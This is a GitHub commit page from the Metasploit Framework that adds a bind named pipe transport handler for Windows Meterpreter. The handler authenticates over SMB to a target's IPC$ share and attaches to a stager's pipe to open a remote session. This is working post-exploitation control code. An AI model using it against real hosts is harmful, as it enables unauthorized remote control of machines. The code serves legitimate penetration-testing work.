Skip to content

Commit 25d2b55

Browse files
committed
Land rapid7#9539, add bind_named_pipe transport to Windows meterpreter
2 parents b533ec6 + d28f688 commit 25d2b55

15 files changed

+961
-11
lines changed

Gemfile.lock

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -18,7 +18,7 @@ PATH
1818
metasploit-concern
1919
metasploit-credential
2020
metasploit-model
21-
metasploit-payloads (= 1.3.28)
21+
metasploit-payloads (= 1.3.29)
2222
metasploit_data_models
2323
metasploit_payloads-mettle (= 0.3.7)
2424
mqtt
@@ -179,7 +179,7 @@ GEM
179179
activemodel (~> 4.2.6)
180180
activesupport (~> 4.2.6)
181181
railties (~> 4.2.6)
182-
metasploit-payloads (1.3.28)
182+
metasploit-payloads (1.3.29)
183183
metasploit_data_models (2.0.16)
184184
activerecord (~> 4.2.6)
185185
activesupport (~> 4.2.6)
Lines changed: 358 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,358 @@
1+
# -*- coding: binary -*-
2+
require 'thread'
3+
require 'msf/core/post_mixin'
4+
require 'rex/proto/smb/simpleclient'
5+
6+
#
7+
# KNOWN ISSUES
8+
#
9+
# 1) Interactive channels (ie shell) do not work well/at all. Neither do pivots. Issue
10+
# seems to be multiple threads writing to the pipe or some writes not being synchronized
11+
# and bypassing the OpenPipeSock methods.
12+
# 2) A peek named pipe operation is carried out before every read to prevent blocking. This
13+
# generates extra traffic.
14+
#
15+
16+
#
17+
# Socket interface for named pipes. Because of the way named pipes work, reads and writes
18+
# each require both a sock.send (read/write request) and a sock.recv (read/write response).
19+
# So, pipe.read and pipe.write need to be synchronized so the responses arent mixed up.
20+
#
21+
# The packet dispatcher calls select on the socket to check for packets to read. This is
22+
# an issue when there are multiple writes since it will cause select to return which
23+
# triggers a read, but there is nothing to read since the pipe will already have read
24+
# the response. This read will then hold the mutex while the socket read waits to timeout.
25+
#
26+
class OpenPipeSock < Rex::Proto::SMB::SimpleClient::OpenPipe
27+
attr_accessor :mutex, :chunk_size, :last_comm, :write_queue, :write_thread, :read_buff
28+
29+
def initialize(*args)
30+
super(*args)
31+
self.client = args[0]
32+
self.mutex = Mutex.new # synchronize read/writes
33+
self.last_comm = Time.now # last successfull read/write
34+
self.write_queue = Queue.new # queue message to send
35+
self.write_thread = Thread.new { dispatcher }
36+
self.read_buff = ''
37+
end
38+
39+
# Check if there are any bytes to read and return number available.
40+
# Access must be synchronized.
41+
def peek_named_pipe
42+
# 0x23 is the PeekNamedPipe operation. Last 16 bits is our pipes file id (FID).
43+
setup = [0x23, self.file_id].pack('vv')
44+
# Must ignore errors since we expect STATUS_BUFFER_OVERFLOW
45+
pkt = self.client.trans_maxzero('\\PIPE\\', '', '', 2, setup, false, true, true)
46+
avail = 0
47+
begin
48+
avail = pkt.to_s[pkt['Payload'].v['ParamOffset']+4, 2].unpack('v')[0]
49+
rescue
50+
end
51+
avail
52+
end
53+
54+
# Runs as a thread and synchronizes writes. Allows write operations to return
55+
# immediately instead of waiting for the mutex.
56+
def dispatcher
57+
while true
58+
data = self.write_queue.pop
59+
self.mutex.synchronize do
60+
sent = 0
61+
while sent < data.length
62+
count = [self.chunk_size, data.length-sent].min
63+
buf = data[sent, count]
64+
Rex::Proto::SMB::SimpleClient::OpenPipe.instance_method(:write).bind(self).call(buf)
65+
self.last_comm = Time.now
66+
sent += count
67+
end
68+
end
69+
end
70+
end
71+
72+
# Intercepts the socket.close from the session manager when the session dies.
73+
# Cleanly terminates the SMB session and closes the socket.
74+
def close
75+
# Give the meterpreter shutdown command a chance
76+
self.write_queue.close
77+
while self.write_queue.size > 0
78+
sleep(0.1)
79+
end
80+
self.write_thread.kill
81+
82+
begin
83+
# close pipe
84+
super
85+
rescue => e
86+
end
87+
self.client.socket.close
88+
end
89+
90+
def read(count)
91+
data = ''
92+
begin
93+
self.mutex.synchronize do
94+
avail = peek_named_pipe
95+
if avail > 0
96+
while count > 0
97+
buff = super([count, self.chunk_size].min)
98+
self.last_comm = Time.now
99+
count -= buff.length
100+
data += buff
101+
end
102+
end
103+
end
104+
rescue
105+
end
106+
107+
if data.length == 0
108+
# avoid full throttle polling
109+
Rex::ThreadSafe.sleep(0.1)
110+
end
111+
return data
112+
end
113+
114+
def put (data)
115+
write(data)
116+
end
117+
118+
def write (data)
119+
self.write_queue.push(data)
120+
data.length
121+
end
122+
123+
#
124+
# The session manager expects a socket object so we must implement
125+
# fd, localinfo, and peerinfo. fd is passed to select while localinfo
126+
# and peerinfo are used to report the addresses and ports of the
127+
# connection.
128+
#
129+
def fd
130+
self.client.socket.fd
131+
end
132+
133+
def localinfo
134+
self.client.socket.localinfo
135+
end
136+
137+
def peerinfo
138+
self.client.socket.peerinfo
139+
end
140+
141+
end
142+
143+
#
144+
# SimpleClient for named pipe comms. Uses OpenPipe wrapper to provide
145+
# a socket interface required by the packet dispatcher.
146+
#
147+
class SimpleClientPipe < Rex::Proto::SMB::SimpleClient
148+
attr_accessor :pipe
149+
150+
def initialize(*args)
151+
super(*args)
152+
self.pipe = nil
153+
end
154+
155+
# Copy of SimpleClient.create_pipe except OpenPipeSock is used instead of OpenPipe.
156+
# This is because we need to implement our own read/write.
157+
def create_pipe(path)
158+
pkt = self.client.create_pipe(path, Rex::Proto::SMB::Constants::CREATE_ACCESS_EXIST)
159+
file_id = pkt['Payload'].v['FileID']
160+
self.pipe = OpenPipeSock.new(self.client, path, self.client.last_tree_id, file_id)
161+
end
162+
end
163+
164+
module Msf
165+
module Handler
166+
module BindNamedPipe
167+
168+
include Msf::Handler
169+
170+
#
171+
# Returns the string representation of the handler type, in this case
172+
# 'reverse_named_pipe'.
173+
#
174+
def self.handler_type
175+
"bind_named_pipe"
176+
end
177+
178+
#
179+
# Returns the connection-described general handler type, in this case
180+
# 'reverse'.
181+
#
182+
def self.general_handler_type
183+
"bind"
184+
end
185+
186+
#
187+
# Initializes the reverse handler and ads the options that are required
188+
# for reverse named pipe payloads.
189+
#
190+
def initialize(info={})
191+
super
192+
193+
register_options(
194+
[
195+
OptString.new('PIPENAME', [true, 'Name of the pipe to connect to', 'msf-pipe']),
196+
OptString.new('RHOST', [false, 'Host of the pipe to connect to', '']),
197+
OptPort.new('LPORT', [true, 'SMB port', 445]),
198+
OptString.new('SMBUser', [false, 'The username to authenticate as', '']),
199+
OptString.new('SMBPass', [false, 'The password for the specified username', '']),
200+
OptString.new('SMBDomain', [false, 'The Windows domain to use for authentication', '.']),
201+
], Msf::Handler::BindNamedPipe)
202+
register_advanced_options(
203+
[
204+
OptString.new('SMBDirect', [true, 'The target port is a raw SMB service (not NetBIOS)', true]),
205+
OptInt.new('CHUNKSIZE', [false, 'Max pipe read/write size per request', 4096]) # > 4096 is unreliable
206+
], Msf::Handler::BindNamedPipe)
207+
208+
self.conn_threads = []
209+
self.listener_threads = []
210+
end
211+
212+
# A string suitable for displaying to the user
213+
#
214+
# @return [String]
215+
def human_name
216+
"bind named pipe"
217+
end
218+
219+
#
220+
# Starts monitoring for an inbound connection.
221+
#
222+
def start_handler
223+
# Maximum number of seconds to run the handler
224+
ctimeout = 150
225+
226+
if (exploit_config and exploit_config['active_timeout'])
227+
ctimeout = exploit_config['active_timeout'].to_i
228+
end
229+
230+
# Take a copy of the datastore options
231+
rhost = datastore['RHOST']
232+
lport = datastore['LPORT'].to_i
233+
pipe_name = datastore['PIPENAME']
234+
smbuser = datastore['SMBUser']
235+
smbpass = datastore['SMBPass']
236+
smbdomain = datastore['SMBDomain']
237+
smbdirect = datastore['SMBDirect']
238+
smbshare = "\\\\#{rhost}\\IPC$"
239+
chunk_size = datastore['CHUNKSIZE']
240+
241+
# Ignore this if one of the required options is missing
242+
return if not rhost
243+
return if not lport
244+
245+
# Start a new handling thread
246+
self.listener_threads << framework.threads.spawn("BindNamedPipeHandlerListener-#{pipe_name}", false) {
247+
sock = nil
248+
print_status("Started bind pipe handler")
249+
250+
# First, create a socket and connect to the SMB service
251+
vprint_status("Connecting to #{rhost}:#{lport}")
252+
begin
253+
sock = Rex::Socket::Tcp.create(
254+
'PeerHost' => rhost,
255+
'PeerPort' => lport.to_i,
256+
'Proxies' => datastore['Proxies'],
257+
'Context' =>
258+
{
259+
'Msf' => framework,
260+
'MsfPayload' => self,
261+
'MsfExploit' => assoc_exploit
262+
})
263+
rescue Rex::ConnectionRefused
264+
rescue ::Exception
265+
wlog("Exception caught in bind handler: #{$!.class} #{$!}")
266+
end
267+
268+
if not sock
269+
print_error("Failed to connect socket #{rhost}:#{lport}")
270+
return
271+
end
272+
273+
# Perform SMB logon
274+
simple = SimpleClientPipe.new(sock, smbdirect)
275+
276+
begin
277+
simple.login('*SMBSERVER', smbuser, smbpass, smbdomain)
278+
vprint_status("SMB login Success #{smbdomain}\\#{smbuser}:#{smbpass} #{rhost}:#{lport}")
279+
rescue
280+
print_error("SMB login Failure #{smbdomain}\\#{smbuser}:#{smbpass} #{rhost}:#{lport}")
281+
return
282+
end
283+
284+
# Connect to the IPC$ share so we can use named pipes.
285+
simple.connect(smbshare)
286+
vprint_status("Connected to #{smbshare}")
287+
288+
# Make several attempts to connect to the stagers named pipe. Authenticating and
289+
# connecting to IPC$ should be possible pre stager so we only retry this operation.
290+
# The stager creates the pipe with a default ACL which provides r/w to the creator
291+
# and administrators.
292+
stime = Time.now.to_i
293+
while (stime + ctimeout > Time.now.to_i)
294+
begin
295+
pipe = simple.create_pipe("\\"+pipe_name)
296+
rescue
297+
Rex::ThreadSafe.sleep(1.0)
298+
end
299+
break if pipe
300+
end
301+
302+
if not pipe
303+
print_error("Failed to connect to pipe #{smbshare}")
304+
return
305+
end
306+
307+
pipe.chunk_size = chunk_size
308+
vprint_status("Opened pipe \\#{pipe_name}")
309+
310+
# Increment the has connection counter
311+
self.pending_connections += 1
312+
313+
# Timeout and datastore options need to be passed through to the client
314+
opts = {
315+
:datastore => datastore,
316+
:expiration => datastore['SessionExpirationTimeout'].to_i,
317+
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
318+
:retry_total => datastore['SessionRetryTotal'].to_i,
319+
:retry_wait => datastore['SessionRetryWait'].to_i
320+
}
321+
322+
conn_threads << framework.threads.spawn("BindNamedPipeHandlerSession", false, simple) { |simple_copy|
323+
begin
324+
session = handle_connection(simple_copy.pipe, opts)
325+
rescue => e
326+
elog("Exception raised from BindNamedPipe.handle_connection: #{$!}")
327+
end
328+
}
329+
}
330+
end
331+
332+
#
333+
# Stop
334+
#
335+
def stop_handler
336+
self.listener_threads.each do |t|
337+
t.kill
338+
end
339+
self.listener_threads = []
340+
end
341+
342+
#
343+
# Cleanup
344+
#
345+
def cleanup_handler
346+
self.conn_threads.each { |t|
347+
t.kill
348+
}
349+
end
350+
351+
protected
352+
353+
attr_accessor :conn_threads
354+
attr_accessor :listener_threads
355+
356+
end
357+
end
358+
end

lib/msf/core/payload/transport_config.rb

Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -104,6 +104,17 @@ def transport_config_reverse_named_pipe(opts={})
104104
}.merge(timeout_config(opts))
105105
end
106106

107+
def transport_config_bind_named_pipe(opts={})
108+
ds = opts[:datastore] || datastore
109+
{
110+
scheme: 'pipe',
111+
lhost: '.',
112+
uri: "/#{ds['PIPENAME']}",
113+
}.merge(timeout_config(opts))
114+
115+
end
116+
117+
107118
private
108119

109120
def get_custom_headers(ds)

0 commit comments

Comments
 (0)